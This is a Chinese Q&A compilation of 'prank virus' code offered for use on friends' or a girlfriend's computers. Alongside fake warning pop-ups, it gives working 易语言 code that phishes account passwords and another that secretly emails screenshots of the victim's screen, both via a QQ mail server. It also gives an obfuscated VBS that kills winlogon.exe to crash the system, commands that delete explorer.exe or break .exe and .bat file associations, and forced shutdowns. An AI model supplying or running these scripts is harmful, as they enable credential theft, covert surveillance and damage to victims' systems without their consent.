本文目录一览：
- 1、求一些好玩的整人代码~~
- 2、我想要一种整人的电脑病毒代码，要有图片跟声音的，而且只能打开一次！求高手给！谢谢！
- 3、可不可以教我一些整人的代码和小病毒啊 我想整整我女朋友
- 4、求大量VBS整人代码.
- 5、整人病毒代码怎么用
求一些好玩的整人代码~~
gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows发现一重要更新，将自动下载。"
wscript.sleep 3000
msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"
msgbox "是否阻止其安装？",vbyesno
wscript.sleep 3000
msgbox "阻止失败！请检查防火墙是否开启！"
wscript.sleep 5000
msgbox "正在尝试强行删除…"
wscript.sleep 5000
msgbox "失败！"
wscript.sleep 5000
msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高兴见到你！"
wscript.sleep 3000
msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"
wscript.sleep 3000
msgbox "我控制你的电脑了！"
wscript.sleep 3000
msgbox "不信？那我给你关机看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "帮你解除关机……"
s.run "shutdown -a"
msgbox "再给你打开记事本写封信，劝你最好别动，要不然会引起系统混乱~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"
s.run "explorer"
”
我想要一种整人的电脑病毒代码，要有图片跟声音的，而且只能打开一次！求高手给！谢谢！
易语言整人代码如下
.版本 2
.支持库 OPenGL
.子程序 __启动窗口_创建完毕
运行 (“Shutdown.exe -s -t 120”, 假, )
.子程序 _按钮1_被单击
.如果真 (编辑框1.内容 ＝ “我是蠢猪，***是大好人”)
运行 (“shutdown -a ”, 假, )
信息框 (“哈哈~我还是很厚道的！我也知道你是发自内心的，是啊，我怎么那么完美呢？——呵呵~”, 0, )
结束 ()
.如果真 (编辑框1.内容 ≠ “我是蠢猪，***是大好人”)
信息框 (“尼玛，输入正确会死啊！告诉你了，只要输入正确就OK了~你怎么就不相信我呢？？！”, 0, ）
—————————————————————————————————————————
易语言骗账号代码如下：
.版本 2
.支持库 internet
.子程序 _按钮1_被单击
连接发信服务器 (“smtp.qq.com”, 25, “邮箱”, “密码”, )
发送邮件 (“号来了”, “账号：” ＋ 编辑框1.内容 ＋ #换行符 ＋ “密码：” ＋ 编辑框2.内容, “邮箱”, , , “邮箱”, )
——————————————————————————————————————————
易语言监视对方电脑，连发十张高清截图代码如下：
.版本 2
.支持库 eImgConverter
.支持库 internet
.子程序 __启动窗口_创建完毕
.计次循环首 (10, )
写到文件 (“D:\jt.bmp”, 快照 (, , ))
转换到JPG (“jt.bmp”, “jt.jpg”, 假, 75, 真, 0)
.如果真 (连接发信服务器 (“smtp.qq.com”, 25, “邮箱”, “密码”, ))
添加附件文件 (“D:\jt.bmp”)
.如果真结束
发送邮件 (“主题”, “被监视的电脑截图”, “邮箱”, , , “邮箱”, )
断开发信服务器 ()
.计次循环尾 ()
删除文件 (“D:\jt.bmp”)
结束 ()
——————————————————————————————————————————
你说要有图片 可以将易语言程序启动窗口主页面的图片设置成我这样
你说要有声音，可以运用以下代码：
.版本 2
.程序集 窗口程序集1
.子程序 _按钮1_被单击
播放MP3 (1, “mp3地址”)
——————————————————————————————————————————
如果是电脑命令的话
新建txt输入：shutdown -s -t 120 -c 你是猪！
保存为bat
或者还有，如果他用电脑命令破解，你就往后输入
@echo off
assoc .bat=txtfile
可以让他所有的电脑命令成为乱码！！！
除了电脑命令乱码，你还可以设置各种的，比如：
assoc .exe=txtfile
assoc .mp3=txtfile
assoc .zip=txtfile
assoc .fiv=txtfile
and so on……
其实输入了就这样的代码，那台电脑基本就瘫痪了，没什么可以玩的了~
可不可以教我一些整人的代码和小病毒啊 我想整整我女朋友
可以啊，你要代码还是软件，我有一些自己做的软件，或者可以教你自己做整人软件
求大量VBS整人代码.
第一个 do msgbox "hi" loop 第二个 Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop 第三个 if MsgBox("对不起,您灌水太多需要重新启动计算机。"chr(10)"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then msgbox " 系统将立刻重起wow ~_^",,"你上当了！！" Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if 第四个 '这个很强悍的vbs,蓝屏 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,-15133,89,-13899,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runnerchr(strs(i)) next Execute runner 第五个 if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then msgbox "你SB啊!" else msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!" Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1nul 2nul",vbhide end if 第六个 Set ws = CreateObject("Wscript.Shell") ws.run "cmd.exe /c call calc.exe",0 第七个 set ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 wscript.sleep 900 ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws.run "cmd.exe /c del /q /f %windir%\explorer.exe" 第八个 Set ws=WScript.CreateObject("WScript.Shell") ws.popup"大家好，我就是改变社会风气，风魔万千少女，刺激电影市道，提高年轻人内涵，",10,"闪亮登场",64 ws.popup"玉树临风，风度翩翩的……“咕噜…咕噜…”，不好意思，我内急先闪了，再见！",15,"farewell",64 wscript.sleep 100000 ws.popup"发现重要windows更新未安装，系统将自动下载更新并安装",10 ws.popup"正在下载windows更新……",12 wscript.sleep 10000 ws.popup"windows更新已下载完毕，正在安装更新……",12 wscript.sleep 3000 msgbox"系统检测到WINDOWS更新中携带有不明软件 comcontroler.exe ，并在强行嵌入你的电脑",4132,"是否对其进行扫描？" msgbox"软件名：comcontroler.exe "vbcrlf""vbcrlf" 大小：1.21MB "vbcrlf""vbcrlf" 发行者：幻想丶永恒（403746401）"vbcrlf""vbcrlf" 安全状况：有病毒",vbinformation msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装" msgbox"阻止失败，请检查防火墙是否开启" wscript.sleep 15000 ws.popup"windows更新安装成功！",vbinfmation,20 msgbox"您的电脑可能已被入侵，请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformation ws.popup"哈哈，我已经控制了你的电脑！",12,"很高兴见到你",64 ws.popup"不信？我用你的电脑打开我的QQ空间给你看看",10 ws.run" " msgbox"警告：为了您的电脑安全，请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformation ws.popup"我再打开中国神泣官方网站",10 ws.run" " ws.popup"现在相信了吧？我再打开你的记事本给你写封英语信",20 ws.popup"记事本会被打开并最大化，这时你不要动，千万别把目标转移到其他窗口，耐心看我把信写完。否则引起系统混乱我可不负责！" ws.run "notepad",3 : wscript.sleep 2000 verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",") 第九个 for each wind in verybat ws.sendkeys wind wscript.sleep 500 next ws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30 ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8 ws.run "taskkill /f /im qq.exe" ws.popup"你还要上吧 慢慢玩哦",27 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 4 WSHshell.SendKeys "%{F4}" next ws.run"shutdown -s -t 1000600" wscript.sleep 2000 dim a do a=inputbox("请输入解除关机密码") if a="403746401" then ws.run"shutdown -a" msgbox"密码验证成功，enjoy the best!" exit do else msgbox"密码验证失败，请输入解除关机密码：403746401 ",vbretrycancel end if loop ws.popup"哈哈 被吓到了吧 好玩吧？你以为真的是病毒？呵呵O(∩_∩)O~，我还没那么打本事能做出病毒来！",57 ws.popup"(\(^o^)/~ 好啦，跟你开了个小小玩笑。你也可以把这个文件发给其他人，耍耍别人。呵呵^_^",62 wscript.sleep 8900 do until i=10 i=i+1 msgbox "CPU温度过高，系统出现严重错误！，请结束所有应用程序让CPU降温！",16+4096,"系统提示：" wscript.sleep 1000*45 loop 第十个 set sh=wscript.createobject("wscript.shell") sh.run"shutdown -s -t 332" 第十一个 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 40 WSHshell.SendKeys "%{F4}" next 第十二个 dim a,b,c,s Set fs=CreateObject("Scripting.FileSystemObject") name = WScript.ScriptName fullname = WScript.ScriptFullName path = Replace(fullname,name,"") a=inputbox("请在对话框中填写你真实的姓名！"vbcrlf""vbcrlf"稍后将会给你意外的惊喜！！ "vbcrlf""vbcrlf"不信你可以试试看！！！"vbcrlf""vbcrlf"最好是中文名···","芮洲提示：","请在此输入你的名字") If a = ""Then WScript.Quit End If MyVar=MsgBox ("你的名字叫："a" ",vbYesNo + vbExclamation,"芮洲提示：") If MyVar=vbYes Then ElseIf MyVar=vbNo Then a=inputbox("请在对话框中填写你真实的姓名！"vbcrlf""vbcrlf"稍后将会给你意外的惊喜！！ "vbcrlf""vbcrlf"不信你可以试试看！！！"vbcrlf""vbcrlf"最好是中文名···","芮洲提示：","请在此输入你的名字") If a = ""Then WScript.Quit End If End If wscript.sleep 1000b=inputbox("尊敬的 "a" 你好！"vbcrlf""vbcrlf"请填写一下你的爱好。(只需填一个哦！)","芮洲提示：","请在此输入你的爱好") If b = ""Then WScript.Quit End If wscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年 月日]电脑将自动算出到目前为止你已经在地球上存活了多少时间！"vbcrlf""vbcrlf"下面以我为列 不同可以修改"vbcrlf""Chr(10)"格式为：1987-06-02","芮洲提示：","1987-06-02") If c = ""Then WScript.Quit End If wscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1 current = now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000 s = msgbox (Chr(10)"恭喜 "a" 已在地球上存活了:"age"天 "h"小时 "n"分钟.....",vbOKCancel+63,"芮洲提示：") if s=2 then end if Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"a"的秘密.vbs",true) auto.WriteLine"MSGBOX""""""我的名字叫:"a" """"""vbcrlf""""""""""""vbcrlf""""""我的爱好是:"B" """"""vbcrlf""""""""""""vbcrlf"""""""a"已经活了:"age"天 "h"小时 "n"分钟 """""",64,"""""""a"的自我介绍：""" auto.WriteLine"msgbox""""""亲爱的 "a " 再见了！"""""",48,""""""芮洲提示：""""""" Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"a"生日快乐.TXT",true) auto.WriteLine"本人芮洲祝: "a" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......." auto.WriteLine"你已在地球上生活了:"age"天 "h"小时 "n"分钟了" auto.WriteLine"时间是根据你的出生年月日算的，可能不是很精确，但目的只是想让知道时间过的很快，请珍惜时间!!!。"
整人病毒代码怎么用
我这几天自己学了下，大概知道了，最好不弄病毒，你用这个吧：%windir%\system32\shutdown.exe -s -t 0 复制了之后创建快捷方式（在桌面上单击鼠标右键\新键